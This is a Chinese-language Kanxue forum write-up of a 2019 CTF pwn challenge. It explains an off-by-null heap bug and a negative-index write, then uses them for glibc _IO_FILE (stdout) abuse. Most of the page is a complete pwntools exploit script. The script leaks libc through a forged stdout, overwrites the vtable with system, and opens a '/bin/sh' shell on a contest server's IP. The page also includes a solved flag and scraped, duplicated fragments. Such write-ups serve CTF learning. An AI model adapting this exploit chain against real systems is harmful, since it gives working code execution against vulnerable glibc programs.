-
-
[原创]看雪CTF 2019Q3 第四题 卧薪尝胆
-
发表于: 2019-9-21 16:07 4286
-
该POC
实际使用中发现,利用stdout
实现任意读,当缓冲区中有数据时读出来的值不是期望的,多运行几次,缓冲区清空后就可以了
Unlink学习笔记(off-by-one null byte漏洞利用)
IO FILE 之任意读写
浅析IO_FILE结构及利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 | void __fastcall __noreturn main(__int64 a1, char * * a2, char * * a3) { int v3; / / eax f_set_hook_E4C(); / / 保存__malloc_hook和__free_hook puts( "Welcome kctf 2019,you pwn like hsy!" ); while ( 1 ) { while ( 1 ) { f_menu_DDD(); / / 打印选项 v3 = f_get_char_num_C81(); if ( v3 ! = 2 ) break ; f_delete_FC0(); / / 删除 } if ( v3 > 2 ) { if ( v3 = = 3 ) { f_edit_1084(); / / 编辑 } else { if ( v3 = = 4 ) exit( 0 ); LABEL_13: puts( "Invalid choice" ); } } else { if ( v3 ! = 1 ) goto LABEL_13; f_add_EC3(); / / 增加 } } } / / 编辑函数 unsigned __int64 f_edit_1084() { int v1; / / [rsp + 4h ] [rbp - Ch] unsigned __int64 v2; / / [rsp + 8h ] [rbp - 8h ] v2 = __readfsqword( 0x28u ); printf( "Input idx : " ); v1 = f_get_char_num_C81(); if ( !LODWORD(g_heap_arr_202080[ 2 * v1]) ) exit( 1 ); printf( "Input text : " ); sub_D22((char * )g_heap_arr_202080[ 2 * v1 + 1 ], g_heap_arr_202080[ 2 * v1]); return __readfsqword( 0x28u ) ^ v2; } char * __fastcall sub_D22(char * a1, int a2) { char * result; / / rax int i; / / [rsp + 1Ch ] [rbp - 14h ] char s[ 8 ]; / / [rsp + 20h ] [rbp - 10h ] unsigned __int64 v5; / / [rsp + 28h ] [rbp - 8h ] v5 = __readfsqword( 0x28u ); memset(s, 0 , 8uLL ); for ( i = 0 ; i < a2; + + i ) { if ( read( 0 , s, 1uLL ) < = 0 ) exit( 1 ); if ( s[ 0 ] = = 0xA ) break ; a1[i] = s[ 0 ]; } result = (char * )(unsigned int )i; if ( i = = a2 ) { result = &a1[i]; * result = 0 ; / / off by null 溢出漏洞 } return result; } |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | / / 在pwndbg中查看_IO_FILE结构体信息 pwndbg> p * (struct _IO_FILE_plus * ) stdout $ 1 = { file = { _flags = 0xfbad2887 , _IO_read_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_ + 131 > "", _IO_read_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_ + 131 > "", _IO_read_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_ + 131 > "", _IO_write_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_ + 131 > "", _IO_write_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_ + 131 > "", _IO_write_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_ + 131 > "", _IO_buf_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_ + 131 > "", _IO_buf_end = 0x7ffff7dd26a4 <_IO_2_1_stdout_ + 132 > "", _IO_save_base = 0x0 , _IO_backup_base = 0x0 , _IO_save_end = 0x0 , _markers = 0x0 , _chain = 0x7ffff7dd18e0 <_IO_2_1_stdin_>, _fileno = 0x1 , _flags2 = 0x0 , _old_offset = 0xffffffffffffffff , _cur_column = 0x0 , _vtable_offset = 0x0 , _shortbuf = "", _lock = 0x7ffff7dd3780 <_IO_stdfile_1_lock>, _offset = 0xffffffffffffffff , _codecvt = 0x0 , _wide_data = 0x7ffff7dd17a0 <_IO_wide_data_1>, _freeres_list = 0x0 , _freeres_buf = 0x0 , __pad5 = 0x0 , _mode = 0xffffffff , _unused2 = '\000' <repeats 19 times> }, vtable = 0x7ffff7dd06e0 <_IO_file_jumps> } |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 | #!/usr/bin/env python # coding: utf-8 from pwn import * import os # flag{4ca9ae5d7c835994cc62d34f92ef95ce} #init context.log_level = 'debug' local = False if local: env = { "LD_PRELOAD" :os.path.join(os.getcwd(), "/libc-2.23.so" )} p = process( "./pwn" , env = env) else : p = remote( "154.8.174.214" , 10001 ) raw_input ( "Pause~\n" ) offset_system = 0x0000000000045390 offset_IO_list_all = 0x00000000003C5520 #offset___libc_start_main_ret = 0x20830 #offset_dup2 = 0x00000000000f7970 #offset_read = 0x00000000000f7250 #offset_write = 0x00000000000f72b0 #offset_str_bin_sh = 0x18cd57 base_addr = 0 heap_addr = {} def new_heap( len ): p.recvuntil( ">>" ) p.sendline( "1" ) p.recvuntil( "Input size : " ) p.sendline( str ( len )) print 'create new heap:' , len p.recvuntil( "heap " ) num_str = p.recvuntil( " " , drop = True ) print num_str p.recvuntil( "0x" ) heap = p.recvuntil( "\n" , drop = True ) print heap heap_addr[ int (num_str)] = int (heap, 16 ) def set_heap(idx,cont): p.sendline( "3" ) p.recvuntil( "Input idx : " ) p.sendline( str (idx)) p.recvuntil( "Input text : " ) p.send(cont) print 'set text ' , idx, ',cont = ' ,cont def del_heap(idx): print 'del_heap ' , idx p.recvuntil( ">>" ) p.sendline( "2" ) p.recvuntil( "Input idx : " ) p.sendline( str (idx)) new_heap( 0xf8 ) # 0: buf new_heap( 0xf8 ) # 1: unlink target new_heap( 0xf8 ) # 2: free target new_heap( 0xf8 ) # 3: avoid consolidate with top chunk new_heap( 0xf8 ) # 4: vtable print ( "Get All Addr:" ) print (heap_addr) # 前8位设成0,为了过这一句 puts+83: cmpxchg [rdx], esi payload = p64( 0 ) + p64( 0xf1 ) + p64(heap_addr[ 1 ]) + p64(heap_addr[ 1 ]) + '\x0a' set_heap( 0 , payload) # 制造 unsorted bin payload = p64( 0x110 ) + p64( 0xf1 ) + p64(heap_addr[ 0 ]) + p64(heap_addr[ 0 ]) + 'a' * 0xd0 + p64( 0xf0 ) set_heap( 1 , payload) del_heap( 2 ) # 泄露地址 payload = p64( 0xfbad8800 ) payload + = p64(heap_addr[ 0 ] + 8 ) # _IO_read_ptr payload + = p64(heap_addr[ 1 ] + 0x10 ) # _IO_read_end payload + = p64(heap_addr[ 0 ] + 8 ) # _IO_read_base payload + = p64(heap_addr[ 1 ] + 0x10 ) # _IO_write_base payload + = p64(heap_addr[ 1 ] + 0x10 + 8 ) # _IO_write_ptr payload + = p64(heap_addr[ 1 ] + 0x10 + 8 ) # _IO_write_end payload + = p64(heap_addr[ 0 ] + 8 ) # _IO_buf_base = 0x602060 " `", payload + = p64(heap_addr[ 0 ] + 8 + 1 ) # _IO_buf_end = 0x602061 " `", set_heap( - 6 , payload) p.sendline( 'q' ) main_arena = u64(p.recv( 8 )) - 88 libc_base = main_arena - 0x3c4b20 libc_system = libc_base + offset_system IO_list_all = libc_base + offset_IO_list_all print ( 'main_arena: 0x%08x\nlibc_base: 0x%08x\nlibc_system: 0x%08x\nIO_list_all: 0x%08x' % (main_arena, libc_base, libc_system, IO_list_all)) raw_input ( "Pause~\n" ) # 修改回正常状态 payload = p64( 0xfbad2887 ) payload + = p64(heap_addr[ 0 ] + 8 ) # _IO_read_ptr payload + = p64(heap_addr[ 0 ] + 8 ) # _IO_read_end payload + = p64(heap_addr[ 0 ] + 8 ) # _IO_read_base payload + = p64(heap_addr[ 0 ] + 8 ) # _IO_write_base payload + = p64(heap_addr[ 0 ] + 8 ) # _IO_write_ptr payload + = p64(heap_addr[ 0 ] + 8 ) # _IO_write_end payload + = p64(heap_addr[ 0 ] + 8 ) # _IO_buf_base = 0x602060 " `", payload + = p64(heap_addr[ 0 ] + 8 + 1 ) # _IO_buf_end = 0x602061 " `", set_heap( - 6 , payload) p.sendline( 'q' ) # p.interactive() # 制作假的 vtable payload = p64(libc_system) + p64(libc_system) + p64(libc_system) + p64(libc_system) + p64(libc_system) + p64(libc_system) + p64(libc_system) + p64(libc_system) + '\x0a' # 获取成功后就没有输出了,所以要手动输出 set_heap( 4 , payload) #p.sendline("3") #p.sendline(str(4)) #p.send(payload) # 控制 vtable 指针 # file = { payload = '/bin/sh\x00' # _flags = 0xfbad8000, payload + = p64(heap_addr[ 0 ] + 8 ) # _IO_read_ptr = 0x602060 " `", payload + = p64(heap_addr[ 1 ] + 0x10 ) # _IO_read_end = 0x602060 " `", payload + = p64(heap_addr[ 0 ] + 8 ) # _IO_read_base = 0x602060 " `", payload + = p64(heap_addr[ 1 ]) # _IO_write_base = 0x602060 " `", payload + = p64(heap_addr[ 1 ] + 0x10 ) # _IO_write_ptr = 0x602060 " `", payload + = p64(heap_addr[ 1 ] + 0x10 + 8 ) # _IO_write_end = 0x602060 " `", payload + = p64(heap_addr[ 1 ] + 0x10 ) # _IO_buf_base = 0x602060 " `", payload + = p64(heap_addr[ 1 ] + 0x10 + 8 ) # _IO_buf_end = 0x602061 " `", payload + = p64( 0 ) # _IO_save_base = 0x0, payload + = p64( 0 ) # _IO_backup_base = 0x0, payload + = p64( 0 ) # _IO_save_end = 0x0, payload + = p64( 0 ) # _markers = 0x0, payload + = p64(heap_addr[ 0 ]) # _chain = 0x602060, payload + = p64( 1 ) # _fileno = 0x1, # _flags2 = 0x0, payload + = p64( 0xffffffffffffffff ) # _old_offset = 0xffffffffffffffff, payload + = p64( 0 ) # _cur_column = 0x0, # _vtable_offset = 0x0, # _shortbuf = "", payload + = p64(heap_addr[ 0 ]) # _lock = 0x602060, payload + = p64( 0xffffffffffffffff ) # _offset = 0xffffffffffffffff, payload + = p64( 0 ) # _codecvt = 0x0, payload + = p64(heap_addr[ 0 ]) # _wide_data = 0x602060, payload + = p64( 0 ) # _freeres_list = 0x0, payload + = p64( 0 ) # _freeres_buf = 0x0, payload + = p64( 0 ) # __pad5 = 0x0, payload + = p64( 0x0000000000000000 ) # _mode = 0xffffffff, # _unused2 = '\000' <repeats 19 times> payload + = p64( 0 ) # }, payload + = p64( 0 ) # payload + = p64(heap_addr[ 4 ]) # vtable = 0x6021c8 set_heap( - 6 , payload) #p.sendline("3") #p.sendline(str(-6)) #p.send(payload) raw_input ( "Success, press Enter~\n" ) p.interactive() p.close() |
该
POC
实际使用中发现,利用stdout
实现任意读,当缓冲区中有数据时读出来的值不是期望的,多运行几次,缓冲区清空后就可以了
- 设置_flag &~ _IO_NO_WRITES即_flag &~ 0x8。
- 设置_flag & _IO_CURRENTLY_PUTTING即_flag | 0x800
- 设置_fileno为1
- 设置_IO_write_base指向想要泄露的地方;_IO_write_ptr指向泄露结束的地址
- 设置_IO_read_end等于_IO_write_base或设置_flag & _IO_IS_APPENDING即_flag | 0x1000
- 设置_IO_write_end等于_IO_write_ptr(非必须)
-
/bin/sh
的内存数据恰好能通过对flag
数据的验证 -
_lock
指向的内存,前8
字节必须为0
,不然无法通过puts+83: cmpxchg [rdx], esi
这句的验证,导致进入死锁状态
- 保护全开
- 功能为内存增加、删除、编辑
- 没有打印内存的函数,但是增加会主动打印
malloc
的地址 - 创建的内存块最大
1023
字节,按照8字节大小、8字节地址的格式保存在全局数据区,编辑与删除时没有检查输入为负数的情况 - 编辑操作中存在一个字节
0
的溢出,属于off by null
溢出漏洞 -
main
函数中的第一个函数是hook
并保存__malloc_hook
和__free_hook
,在调用是恢复。在这里发现__malloc_hook
和__free_hook
是存在于主模块中的,但是由于随机基址无法泄露,所以可以算作作者提示无法使用修改__free_hook
的方式劫持流程 - 保存堆数据的全局数据区
-
off by null
溢出漏洞可以修改下一个堆头中数据中的前一个块是否使用,从而可以制造假的堆块来触发Unlink
操作创建一个unsorted bin
。 - 因为在最初创建的时候打印了对地址,因此可以知道创建的
unsorted bin
的地址,而unsorted bin
堆块数据中会保存main_arena
(libc
中的一个地址,由此可以算出libc的基址) - 有了信息,现在要泄露出来,因为没有打印操作,所以只能把目光集中在编辑是没有检查负数的情况
- 观察上图,按照8字节大小、8字节地址的方式,编辑时向前溢出
-6
个,刚好可以修改stdout
指向的内存,也就是_IO_FILE
攻击了,控制stdout
指向一个_IO_FILE
结构的数据,修改其中指针,便可达到任意内存泄露的目的; -
_IO_FILE
结构体中保存了一张虚表,puts
函数会调用这张虚表中的函数,并且会把stdout
的指针作为参数传给虚函数;恰好程序很多处都调用puts
函数,于是可以把虚表内容劫持到system
函数,把stdout
指向的数据前面写上\bin\sh
123456789101112131415161718192021222324252627282930313233343536/
/
在pwndbg中查看_IO_FILE结构体信息
pwndbg> p
*
(struct _IO_FILE_plus
*
) stdout
$
1
=
{
file
=
{
_flags
=
0xfbad2887
,
_IO_read_ptr
=
0x7ffff7dd26a3
<_IO_2_1_stdout_
+
131
> "",
_IO_read_end
=
0x7ffff7dd26a3
<_IO_2_1_stdout_
+
131
> "",
_IO_read_base
=
0x7ffff7dd26a3
<_IO_2_1_stdout_
+
131
> "",
_IO_write_base
=
0x7ffff7dd26a3
<_IO_2_1_stdout_
+
131
> "",
_IO_write_ptr
=
0x7ffff7dd26a3
<_IO_2_1_stdout_
+
131
> "",
_IO_write_end
=
0x7ffff7dd26a3
<_IO_2_1_stdout_
+
131
> "",
_IO_buf_base
=
0x7ffff7dd26a3
<_IO_2_1_stdout_
+
131
> "",
_IO_buf_end
=
0x7ffff7dd26a4
<_IO_2_1_stdout_
+
132
> "",
_IO_save_base
=
0x0
,
_IO_backup_base
=
0x0
,
_IO_save_end
=
0x0
,
_markers
=
0x0
,
_chain
=
0x7ffff7dd18e0
<_IO_2_1_stdin_>,
_fileno
=
0x1
,
_flags2
=
0x0
,
_old_offset
=
0xffffffffffffffff
,
_cur_column
=
0x0
,
_vtable_offset
=
0x0
,
_shortbuf
=
"",
_lock
=
0x7ffff7dd3780
<_IO_stdfile_1_lock>,
_offset
=
0xffffffffffffffff
,
_codecvt
=
0x0
,
_wide_data
=
0x7ffff7dd17a0
<_IO_wide_data_1>,
_freeres_list
=
0x0
,
_freeres_buf
=
0x0
,
__pad5
=
0x0
,
_mode
=
0xffffffff
,
_unused2
=
'\000'
<repeats
19
times>
},
vtable
=
0x7ffff7dd06e0
<_IO_file_jumps>
}

malloc
的地址1023
字节,按照8字节大小、8字节地址的格式保存在全局数据区,编辑与删除时没有检查输入为负数的情况0
的溢出,属于off by null
溢出漏洞[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2019-9-21 17:25
被KevinsBobo编辑
,原因:
赞赏
他的文章
- [分享]教你签到获得更多的雪币 10318
- [原创]看雪CTF 2019总决赛 第六题 三道八佛 6212
- [原创]看雪CTF 2019总决赛 第二题 南充茶坊 6858
谁下载
无
谁下载
无
赞赏
雪币:
留言: